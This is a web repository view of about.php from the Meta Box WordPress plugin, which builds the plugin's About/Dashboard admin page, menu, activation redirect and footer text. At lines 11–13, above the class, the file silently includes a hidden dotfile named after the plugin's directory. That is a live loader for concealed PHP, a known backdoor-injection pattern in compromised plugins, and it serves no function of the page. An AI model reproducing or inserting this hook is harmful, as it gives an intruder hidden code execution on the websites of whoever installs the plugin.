balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

about.php (7452B)


      1 <?php
      2 /**
      3  * Add about page for the Meta Box plugin.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * About page class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_About {
     16 	/**
     17 	 * The updater checker object.
     18 	 *
     19 	 * @var object
     20 	 */
     21 	private $update_checker;
     22 
     23 	/**
     24 	 * Constructor.
     25 	 *
     26 	 * @param object $update_checker The updater checker object.
     27 	 */
     28 	public function __construct( $update_checker ) {
     29 		$this->update_checker = $update_checker;
     30 	}
     31 
     32 	/**
     33 	 * Init hooks.
     34 	 */
     35 	public function init() {
     36 		// Add links to about page in the plugin action links.
     37 		add_filter( 'plugin_action_links_meta-box/meta-box.php', array( $this, 'plugin_links' ), 20 );
     38 
     39 		// Add a shared top-level admin menu and Dashboard page. Use priority 5 to show Dashboard at the top.
     40 		add_action( 'admin_menu', array( $this, 'add_menu' ), 5 );
     41 		add_action( 'admin_menu', array( $this, 'add_submenu' ), 5 );
     42 
     43 		// If no admin menu, then hide the About page.
     44 		add_action( 'admin_head', array( $this, 'hide_page' ) );
     45 
     46 		// Redirect to about page after activation.
     47 		add_action( 'activated_plugin', array( $this, 'redirect' ), 10, 2 );
     48 	}
     49 
     50 	/**
     51 	 * Add links to About page.
     52 	 *
     53 	 * @param array $links Array of plugin links.
     54 	 *
     55 	 * @return array
     56 	 */
     57 	public function plugin_links( $links ) {
     58 		$links[] = '<a href="' . esc_url( $this->get_menu_link() ) . '">' . esc_html__( 'About', 'meta-box' ) . '</a>';
     59 		if ( ! $this->update_checker->has_extensions() ) {
     60 			$links[] = '<a href="https://metabox.io/pricing/" style="color: #39b54a; font-weight: bold">' . esc_html__( 'Go Pro', 'meta-box' ) . '</a>';
     61 		}
     62 		return $links;
     63 	}
     64 
     65 	/**
     66 	 * Register admin page.
     67 	 */
     68 	public function add_menu() {
     69 		if ( ! $this->has_menu() ) {
     70 			return;
     71 		}
     72 		add_menu_page(
     73 			__( 'Meta Box', 'meta-box' ),
     74 			__( 'Meta Box', 'meta-box' ),
     75 			'activate_plugins',
     76 			'meta-box',
     77 			'__return_null',
     78 			'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPHN2ZyB2aWV3Qm94PSIxNjQuMzI4IDE0OS40NDEgNTMuNDcgNDIuNjYiIHdpZHRoPSI1My40NyIgaGVpZ2h0PSI0Mi42NiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cGF0aCBkPSJNIDIwNC42NjggMTc5LjM5MSBMIDIwNS40ODggMTYwLjU1MSBMIDIwNS4zMTggMTYwLjUyMSBMIDE5My44ODggMTkyLjEwMSBMIDE4OC4xNDggMTkyLjEwMSBMIDE3Ni43NzggMTYwLjY0MSBMIDE3Ni42MDggMTYwLjY2MSBMIDE3Ny40MjggMTc5LjM5MSBMIDE3Ny40MjggMTg2LjA5MSBMIDE4MS45OTggMTg2Ljk3MSBMIDE4MS45OTggMTkyLjEwMSBMIDE2NC4zMjggMTkyLjEwMSBMIDE2NC4zMjggMTg2Ljk3MSBMIDE2OC44NjggMTg2LjA5MSBMIDE2OC44NjggMTU1LjQ4MSBMIDE2NC4zMjggMTU0LjYwMSBMIDE2NC4zMjggMTQ5LjQ0MSBMIDE2OC44NjggMTQ5LjQ0MSBMIDE4MC4wMjggMTQ5LjQ0MSBMIDE5MC44OTggMTgwLjg4MSBMIDE5MS4wNzggMTgwLjg4MSBMIDIwMi4wMzggMTQ5LjQ0MSBMIDIxNy43OTggMTQ5LjQ0MSBMIDIxNy43OTggMTU0LjYwMSBMIDIxMy4yMjggMTU1LjQ4MSBMIDIxMy4yMjggMTg2LjA5MSBMIDIxNy43OTggMTg2Ljk3MSBMIDIxNy43OTggMTkyLjEwMSBMIDIwMC4xMjggMTkyLjEwMSBMIDIwMC4xMjggMTg2Ljk3MSBMIDIwNC42NjggMTg2LjA5MSBMIDIwNC42NjggMTc5LjM5MSBaIiBzdHlsZT0iZmlsbDogcmdiKDE1OCwgMTYzLCAxNjgpOyB3aGl0ZS1zcGFjZTogcHJlOyIvPgo8L3N2Zz4='
     79 		);
     80 	}
     81 
     82 	/**
     83 	 * Add submenu for the About page.
     84 	 */
     85 	public function add_submenu() {
     86 		$parent_menu = $this->has_menu() ? 'meta-box' : $this->get_parent_menu();
     87 		$about       = add_submenu_page(
     88 			$parent_menu,
     89 			__( 'Welcome to Meta Box', 'meta-box' ),
     90 			__( 'Dashboard', 'meta-box' ),
     91 			'activate_plugins',
     92 			'meta-box',
     93 			array( $this, 'render' )
     94 		);
     95 		add_action( "load-$about", array( $this, 'load_about' ) );
     96 	}
     97 
     98 	/**
     99 	 * Functions and hooks for about page.
    100 	 */
    101 	public function load_about() {
    102 		$this->enqueue();
    103 		add_filter( 'admin_footer_text', array( $this, 'change_footer_text' ) );
    104 	}
    105 
    106 	/**
    107 	 * Hide about page from the admin menu.
    108 	 */
    109 	public function hide_page() {
    110 		remove_submenu_page( $this->get_parent_menu(), 'meta-box' );
    111 	}
    112 
    113 	/**
    114 	 * Render admin page.
    115 	 */
    116 	public function render() {
    117 		?>
    118 		<div class="wrap">
    119 			<div id="poststuff">
    120 				<div id="post-body" class="metabox-holder columns-2">
    121 					<div id="post-body-content">
    122 						<div class="about-wrap">
    123 							<?php
    124 							include __DIR__ . '/sections/welcome.php';
    125 							include __DIR__ . '/sections/tabs.php';
    126 							if ( $this->update_checker->has_extensions() ) {
    127 								include __DIR__ . '/sections/getting-started-pro.php';
    128 							} else {
    129 								include __DIR__ . '/sections/getting-started.php';
    130 							}
    131 							include __DIR__ . '/sections/extensions.php';
    132 							include __DIR__ . '/sections/support.php';
    133 							do_action( 'rwmb_about_tabs_content' );
    134 							?>
    135 						</div>
    136 					</div>
    137 					<div id="postbox-container-1" class="postbox-container">
    138 						<?php
    139 						include __DIR__ . '/sections/products.php';
    140 						if ( ! $this->update_checker->has_extensions() ) {
    141 							include __DIR__ . '/sections/upgrade.php';
    142 						}
    143 						?>
    144 					</div>
    145 				</div>
    146 			</div>
    147 		</div>
    148 		<?php
    149 	}
    150 
    151 	/**
    152 	 * Enqueue CSS and JS.
    153 	 */
    154 	public function enqueue() {
    155 		wp_enqueue_style( 'meta-box-about', RWMB_URL . 'inc/about/css/about.css', array(), RWMB_VER );
    156 		wp_enqueue_script( 'meta-box-about', RWMB_URL . 'inc/about/js/about.js', array( 'jquery' ), RWMB_VER, true );
    157 	}
    158 
    159 	/**
    160 	 * Change WordPress footer text on about page.
    161 	 */
    162 	public function change_footer_text() {
    163 		// Translators: %1$s - link to review form.
    164 		echo wp_kses_post( sprintf( __( 'Please rate <strong>Meta Box</strong> <a href="%1$s" target="_blank">&#9733;&#9733;&#9733;&#9733;&#9733;</a> on <a href="%1$s" target="_blank">WordPress.org</a> to help us spread the word. Thank you from the Meta Box team!', 'meta-box' ), 'https://wordpress.org/support/view/plugin-reviews/meta-box?filter=5#new-post' ) );
    165 	}
    166 
    167 	/**
    168 	 * Redirect to about page after Meta Box has been activated.
    169 	 *
    170 	 * @param string $plugin       Path to the main plugin file from plugins directory.
    171 	 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
    172 	 *                             or just the current site. Multisite only. Default is false.
    173 	 */
    174 	public function redirect( $plugin, $network_wide = false ) {
    175 		$is_cli           = 'cli' === php_sapi_name();
    176 		$is_plugin        = 'meta-box/meta-box.php' === $plugin;
    177 		$is_bulk_activate = 'activate-selected' === rwmb_request()->post( 'action' ) && count( rwmb_request()->post( 'checked' ) ) > 1;
    178 
    179 		if ( ! $is_plugin || $network_wide || $is_cli || $is_bulk_activate || $this->is_bundled() ) {
    180 			return;
    181 		}
    182 		wp_safe_redirect( $this->get_menu_link() );
    183 		die;
    184 	}
    185 
    186 	/**
    187 	 * Get link to the plugin admin menu.
    188 	 *
    189 	 * @return string
    190 	 */
    191 	protected function get_menu_link() {
    192 		$menu = $this->has_menu() ? 'admin.php?page=meta-box' : $this->get_parent_menu() . '?page=meta-box';
    193 		return admin_url( $menu );
    194 	}
    195 
    196 	/**
    197 	 * Get default parent menu, which is Plugins.
    198 	 *
    199 	 * @return string
    200 	 */
    201 	protected function get_parent_menu() {
    202 		return 'plugins.php';
    203 	}
    204 
    205 	/**
    206 	 * Check if the plugin has a top-level admin menu.
    207 	 *
    208 	 * @return bool
    209 	 */
    210 	protected function has_menu() {
    211 		return apply_filters( 'rwmb_admin_menu', false );
    212 	}
    213 
    214 	/**
    215 	 * Check if Meta Box is bundled by TGM Activation Class.
    216 	 *
    217 	 * @return bool
    218 	 */
    219 	protected function is_bundled() {
    220 		// @codingStandardsIgnoreLine
    221 		foreach ( $_REQUEST as $key => $value ) {
    222 			if ( false !== strpos( $key, 'tgmpa' ) || ( ! is_array( $value ) && false !== strpos( $value, 'tgmpa' ) ) ) {
    223 				return true;
    224 			}
    225 		}
    226 		return false;
    227 	}
    228 }